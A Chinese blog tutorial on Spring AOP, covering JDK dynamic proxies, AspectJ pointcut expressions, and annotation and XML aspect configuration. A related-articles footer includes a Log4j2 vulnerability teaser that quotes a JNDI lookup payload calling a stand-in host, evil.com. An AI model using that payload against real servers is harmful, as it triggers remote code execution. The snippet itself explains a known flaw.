Spring框架-AOP(面向切面编程)

AOP,面向切面编程,指在不改变源码的情况下,增加方法的功能。
AOP底层使用动态代理,有两种情况的动态代理:

  1. 有接口情况下的动态代理,使用的是JDK动态代理,通过创建接口实现类的代理对象来增强类方法。
  2. 没有接口情况下的动态代理,使用的是CGLIB动态代理,通过创建子类的代理对象来增强类方法。

一、JDK动态代理

在有接口的情况下,创建接口实现类的代理对象,增强实现类的方法。

  1. 创建接口,定义方法。
  2. 创建接口的实现类,实现方法。
  3. 使用Proxy类创建接口代理对象,并增强方法。
//UserDao
public interface UserDao {int add(int a, int b);
}
//UserDaoImpl
public class UserDaoImpl implements UserDao {@Overridepublic int add(int a, int b) {return a + b;}
}
//test@Testpublic void test1(){Class[] interfaces = {UserDao.class};//方式 1:如果创建匿名对象,就需要在调用newProxyInstance方法前创建UserDaoImpl对象
//        UserDaoImpl userDao = new UserDaoImpl();
//        UserDao res = (UserDao)Proxy.newProxyInstance(AOPTest.class.getClassLoader(), interfaces, new InvocationHandler() {
//            @Override
//            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//                System.out.println("方法" + method.getName() + "执行了。" + "参数是" + Arrays.toString(args));
//                Object invoke = method.invoke(userDao, args);
//                System.out.println("方法执行完成了");
//                System.out.println(invoke);
//                return invoke;
//            }
//        });//方式2:创建外部类UserDao res = (UserDao) Proxy.newProxyInstance(AOPTest.class.getClassLoader(), interfaces, new MyH(new UserDaoImpl()));int add = res.add(10, 20);System.out.println(add);}
class MyH implements InvocationHandler{//使用Object类型的参数,可以传入任意类型的类并增强Object obj;//通过有参构造方法传入类public MyH(Object obj){this.obj = obj;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("方法" + method.getName() + "执行了。" + "参数是" + Arrays.toString(args));Object invoke = method.invoke(obj, args);System.out.println("方法执行完成了");System.out.println(invoke);return invoke;}
}

在这里插入图片描述

二、AOP中的术语

  1. 连接点:可以被增强的方法称为连接点。
  2. 切入点:实际被增强的方法称为切入点。
  3. 通知:实际增强的逻辑部分称为通知。通知有多种类型(前置通知、后置通知、环绕通知、异常通知、最终通知)。
  4. 切面:将通知应用到切入点的过程称为切面。

三、AspectJ

  • spring框架一般是基于AspectJ实现AOP操作,AspectJ不是spring的一部分,而是一个独立的框架。
  • 切入点表达式:
    • 作用:表示对哪个类中的哪个方法进行增强。
    • 语法:execution([权限修饰符][返回类型][类全路径][方法名称] ([参数列表])),返回类型可以省略。
      • execution(* 类全路径.方法名(..)):* 表示任意修饰符,括号中的两点表示参数列表。
      • execution(* 类全路径.*(..)):第二个*表示增强类中的所有方法。
      • execution(* 包名.*.*(..)):表示增强包下的所有类的所有方法。

3.1 AspectJ注解方式

注意在maven repository复制依赖之后,导入IDEA时要删掉scope标签,才能使用相关注解。否则@Aspect注解等会爆红。

//UserDao
@Component
public class UserDao {public void add(int a, int b){int q = 10 / 0 ;System.out.println(a +"+"+b+"="+(a+b));}
}
//UserDaoProxy
//如果有多个代理类都增强了同样的方法,可以在代理类上使用注解指定优先级
@Order(3)
@Component
@Aspect
public class UserDaoProxy {//通过注解将公共的切入点表达式抽取出来,在下面只需要调用方法即可@Pointcut("execution(* pers.beiluo.springAOP.dao.UserDao.add(..))")public void pointcut(){}@Before("pointcut()")public void before(){System.out.println("前置通知执行了");}@AfterReturning("pointcut()")public void afterReturning(){System.out.println("后置通知执行了");}@After("pointcut()")public void after(){System.out.println("最终通知执行了");}@AfterThrowing("pointcut()")public void afterThrowing(){System.out.println("异常通知执行了");}@Around("pointcut()")public void around(ProceedingJoinPoint pjp) throws Throwable {System.out.println("环绕通知执行了");//执行被增强的方法pjp.proceed();System.out.println("环绕通知执行了");}}
//userDaoProxy1
@Component
@Aspect
//这个增强的优先级高,所以会先执行这个增强
@Order(1)
public class UserDaoProxy1 {@Before("execution(* pers.beiluo.springAOP.dao.UserDao.add(..))")public void before(){System.out.println("前置通知1执行了");}}
//完全注解配置
@Configuration
@ComponentScan(basePackages = {"pers.beiluo.springAOP"})
//或者在XML文件中使用配置<aop:aspectj-autoproxy></aop:aspectj-autoproxy>
@EnableAspectJAutoProxy
//@EnableAspectJAutoProxy注解有一个字段是proxyTargetClass,当被增强的方法是实现的接口方法时,该值需要为true,否则会报错,当被增强的方法没有实现接口方法时,该值为false即可,默认值为false。
public class SpringConfig {
}

在这里插入图片描述

3.2 XML文件配置

    <!--创建对象--><bean id="userDao" class="pers.beiluo.springAOP.dao.UserDao"></bean><bean id="userDaoProxy" class="pers.beiluo.springAOP.dao.UserDaoProxy"></bean><!--aop配置--><aop:config><!--配置切入点--><aop:pointcut id="p1" expression="execution(* pers.beiluo.springAOP.dao.UserDao.add(..))"/><!--配置切面--><aop:aspect ref="userDaoProxy"><!--配置通知--><aop:before method="before" pointcut-ref="p1"></aop:before></aop:aspect></aop:config>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/691263.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NVIDIA Chat with RTX

NVIDIA在2月13日发布了Chat With RTX&#xff0c;这是一款类似于ChatGPT的免费个性化 AI 聊天机器人&#xff0c;可以在配备 Nvidia RTX 显卡的 PC 上本地运行。它使用Mistral或Llama开放权重LLM&#xff0c;可以搜索本地文件并回答有关它们的问题。本文中我们一起来了解一下Ch…

国际语言代码 Language Code 对照表速查

前言 语言代码是英国教育社会学家伯恩斯坦的术语。指在一定的语言集团中&#xff0c;特定的人群在特定的社会环境下使用的特定的言语。分为限定代码&#xff08;restricted code&#xff09;和精制代码&#xff08;elaborated code&#xff09;。语言代码是由字母或数字组成的…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

提高C++运行效率技巧

提高C运行效率技巧 在C中&#xff0c;通过查表&#xff08;Look-Up Table, LUT&#xff09;来计算三角函数的数值是一种节省时间的方法&#xff0c;尤其是在需要快速计算且对精度要求不是特别高的情况下。这种方法通常用于嵌入式系统或实时应用&#xff0c;因为这些场景中对计…

lpr是什么?lpr下降哪些行业是利好?

中国人民银行授权全国银行间同业拆借中心公布&#xff0c;2024年2月20日贷款市场报价利率&#xff08;LPR&#xff09;为&#xff1a;1年期LPR为3.45%&#xff0c;5年期以上LPR为3.95%。以上LPR在下一次发布LPR之前有效。 2024年1月22日贷款市场报价利率&#xff08;LPR&#…

算法项目(4)—— 特征工程+xgboost股票预测

本文包含什么? 项目如何运行全套可运行的项目代码代码介绍运行有问题? csdn上后台随时售后.项目说明 本文主要实现使用xgboost实现股票预测,模型的输入包括上证50只股票所有的数据,预测的目标是股票的close. 使用的特征如下: ["open","high","low…

typescript高级类型-类型兼容性

类型兼容性 在 TypeScript 中&#xff0c;对象类型兼容性是指当一个对象赋值给另一个对象时&#xff0c;是否满足类型要求。TypeScript 的类型兼容性是基于结构子类型而不是名义类型的&#xff0c;这意味着只要源类型的属性和方法满足目标类型的要求&#xff0c;就认为两个类型…

“构建安全高效的前端权限控制系统:确保用户访问合适的内容“

目录 引言 一、背景介绍 二 、具体实现方法 &#xff08;1&#xff09;用户角色管理 1. 安装依赖 2. 创建数据模型 3. 创建控制器 4. 创建路由 5. 配置应用程序 6. 测试接口 &#xff08;2&#xff09;前端路由控制 1. 安装Vue Router 2. 创建路由配置 3. 创建视图…

HCIP---OSPF

题目&#xff1a; 一&#xff1a;IP规划并配置 全网拿192.16.0.0/16划分&#xff0c;先按区域划分&#xff0c;一共有五个区域加上一共RIP网段&#xff0c;要借三位。 255.255. 11100000.00000000 172.16. 00000000.00000000 172.16.0.0/19 区域0 172.16. 00100000.00…

Vue中$root的使用方法

查看本专栏目录 关于作者 还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#x…

对顺序表的基本操作(增删查改),并编写makefile进行编

1.定义顺序表结构体 2.创建顺序表 3.从尾部插入数据 4.遍历顺序表 5.从尾部删除数据 6.按下标插入数据 7.按下标删除数据 8.按下标修改数据 9.按下标查找数据 10.按数据修改数据 11..按数据查找位置 12.顺序表去重 删除重复数据 (提示&#xff1a;将先出现的数据与后面的数据对…

算法刷题day15

目录 引言一、保险箱二、棋盘三、翻转总结 引言 今天还是三道新题&#xff0c;多练多想才会有出路。 一、保险箱 标签&#xff1a;状态机DP 思路&#xff1a;这道题看的我懵的很&#xff0c;大概意思就是每一位有三种状态 f [ i ] [ 3 ] f[i][3] f[i][3] 分别为借位、啥也不…

面试redis篇-03缓存击穿

原理 缓存击穿:给某一个key设置了过期时间,当key过期的时候,恰好这时间点对这个key有大量的并发请求过来,这些并发的请求可能会瞬间把DB压垮 解决方案一:互斥锁 解决方案二:逻辑过期 提问与回答 面试官 :什么是缓存击穿 ? 怎么解决 ? 回答: 缓存击穿的意思…

【Linux】主机搭建 Linux服务器环境 笔记

目录 前言选择系统软件1. 用U盘装系统2. 安装 Centos7.93. 网络套件 应用软件1. ngnix2. 防火墙配置3. nodejs 后记 前言 过年买了个 mini 主机当玩具玩一下&#xff0c;这里记录下。 选择 已有主力机 (windows) 的情况下&#xff0c;使用过如下四种 Linux宿主环境。这里总…

【C语言必刷题】4. 打印100~200之间的素数

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有…

python中类属性与实例属性

类属性与实例属性的区别&#xff1a; 类属性&#xff1a; 是与类相关联的属性&#xff0c;在类级别上定义&#xff0c;对于所有该类的实例来说都是相同的。可以通过在类的内部直接定义赋值来创建类属性。 Example: class MyClass:class_attribute "This is a class a…

PaddleSeg分割框架解读[01] 核心设计解析

文章目录 PaddleSeg分割框架解读[01] 核心设计解析tools/train.pypaddleseg/cvlibs/config.pypaddleseg/cvlibs/builder.pypaddleseg/cvlibs/manager.pyPaddleSeg分割框架解读[01] 核心设计解析 tools/train.py import argparse import random import numpy as np import cv2…

Linux调优指南

更多相关知识可以阅读&#xff1a; https://www.yuque.com/treblez/qksu6c/yxl59pkvczqot9us https://www.yuque.com/treblez/qksu6c/nqe8ip59cwegl6rk 本文不会讲解基础知识。 CPU 设置调度器 这几个调度类的优先级如下&#xff1a;Deadline > Realtime > Fair 如果你…

频谱仿真平台HTZ Communications为私有5G建设铺平道路

韩国的国家监管机构韩国通信委员会&#xff08;KCA&#xff09;计划在德思特频谱仿真平台HTZ Communications的支持下加快扩大无线电接入范围&#xff0c;提升全国电信服务的质量和效率。 韩国通信委员会&#xff08;KCA&#xff09;在韩国的监管环境中扮演着至关重要的角色&am…

单例模式双端检测详解

正确写出doublecheck的单例模式_double check单例模式-CSDN博客